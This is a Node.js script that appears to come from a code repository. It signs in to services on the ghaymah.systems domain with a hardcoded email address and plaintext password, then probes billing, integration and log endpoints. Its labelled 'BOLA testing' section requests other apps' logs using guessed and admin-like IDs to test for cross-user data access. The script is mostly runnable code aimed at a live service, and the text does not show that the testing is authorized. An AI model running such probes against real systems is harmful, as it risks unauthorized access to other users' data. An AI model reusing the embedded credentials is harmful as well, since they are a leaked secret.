93 lines
3.8 KiB
JavaScript
93 lines
3.8 KiB
JavaScript
const https = require('https');
|
|
|
|
const AUTH_EMAIL = 'ziad.abd.elgwad2003@gmail.com';
|
|
const AUTH_PASS = '2062003Mz*';
|
|
|
|
function req(method, url, headers = {}, body = null) {
|
|
return new Promise(resolve => {
|
|
const u = new URL(url);
|
|
const data = body ? (typeof body === 'string' ? body : JSON.stringify(body)) : null;
|
|
const opts = {
|
|
hostname: u.hostname, port: 443, path: u.pathname + u.search, method,
|
|
headers: { ...headers }
|
|
};
|
|
if (data && !opts.headers['Content-Type']) opts.headers['Content-Type'] = 'application/json';
|
|
if (data) opts.headers['Content-Length'] = Buffer.byteLength(data);
|
|
const r = https.request(opts, res => {
|
|
let d = '';
|
|
res.on('data', c => d += c);
|
|
res.on('end', () => {
|
|
try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); }
|
|
catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); }
|
|
});
|
|
});
|
|
r.on('error', err => resolve({ error: err.message }));
|
|
if (data) r.write(data);
|
|
r.end();
|
|
});
|
|
}
|
|
|
|
async function main() {
|
|
const loginRes = await req('POST', 'https://auth.ghaymah.systems/signin/email-password', {}, {
|
|
email: AUTH_EMAIL, password: AUTH_PASS
|
|
});
|
|
const token = loginRes.body.session.accessToken;
|
|
const user = loginRes.body.session.user;
|
|
console.log('[+] Authenticated as:', user.id, user.email);
|
|
|
|
console.log('\n--- GATEWAY BILLING ENDPOINTS ---');
|
|
const gwTests = [
|
|
{ method: 'GET', url: 'https://gateway.ghaymah.systems/v1/billing/status' },
|
|
{ method: 'GET', url: 'https://gateway.ghaymah.systems/v1/billing/usage' },
|
|
{ method: 'GET', url: 'https://gateway.ghaymah.systems/v1/billing/plans' },
|
|
{ method: 'POST', url: 'https://gateway.ghaymah.systems/v1/billing/setup-card?success_url=https://deploy.ghaymah.systems&cancel_url=https://deploy.ghaymah.systems' },
|
|
{ method: 'POST', url: 'https://gateway.ghaymah.systems/v1/billing/portal?return_url=https://deploy.ghaymah.systems' }
|
|
];
|
|
|
|
for (const t of gwTests) {
|
|
const res = await req(t.method, t.url, { Authorization: `Bearer ${token}` });
|
|
console.log(`[${t.method}] ${t.url}`);
|
|
console.log(` Status: ${res.status}`);
|
|
console.log(' Body:', JSON.stringify(res.body).substring(0, 300));
|
|
}
|
|
|
|
console.log('\n--- INTEGRATIONS ENDPOINTS ---');
|
|
const intTests = [
|
|
{ method: 'GET', url: 'https://integrations.ghaymah.systems/api/integrations' },
|
|
{ method: 'GET', url: 'https://integrations.ghaymah.systems/api/oauth/gitlab/login' },
|
|
{ method: 'POST', url: 'https://integrations.ghaymah.systems/api/auth/dockerhub', body: { username: 'test', token: 'test' } }
|
|
];
|
|
|
|
for (const t of intTests) {
|
|
const res = await req(t.method, t.url, { Authorization: `Bearer ${token}` }, t.body);
|
|
console.log(`[${t.method}] ${t.url}`);
|
|
console.log(` Status: ${res.status}`);
|
|
console.log(' Body:', typeof res.body === 'string' ? res.body.substring(0, 300) : JSON.stringify(res.body).substring(0, 300));
|
|
}
|
|
|
|
console.log('\n--- LOGS ENDPOINTS (BOLA testing) ---');
|
|
const logRes = await req('POST', 'https://logs.ghaymah.systems/logs', { Authorization: `Bearer ${token}` }, {
|
|
projectId: 'c4d0f564-90a8-4012-ace1-dff92d477134',
|
|
appId: 'c4d0f564-90a8-4012-ace1-dff92d477134',
|
|
follow: false,
|
|
lines: 50
|
|
});
|
|
console.log('[POST] /logs status:', logRes.status, 'Body:', logRes.body);
|
|
|
|
// Cross-user test with dummy / admin app IDs
|
|
const fakeIds = [
|
|
'00000000-0000-0000-0000-000000000000',
|
|
'11111111-1111-1111-1111-111111111111',
|
|
'admin',
|
|
'hasura'
|
|
];
|
|
for (const fid of fakeIds) {
|
|
const fRes = await req('POST', 'https://logs.ghaymah.systems/logs', { Authorization: `Bearer ${token}` }, {
|
|
appId: fid, lines: 10
|
|
});
|
|
console.log(`[POST] /logs (appId: ${fid}) status:`, fRes.status, 'Body:', fRes.body);
|
|
}
|
|
}
|
|
|
|
main();
|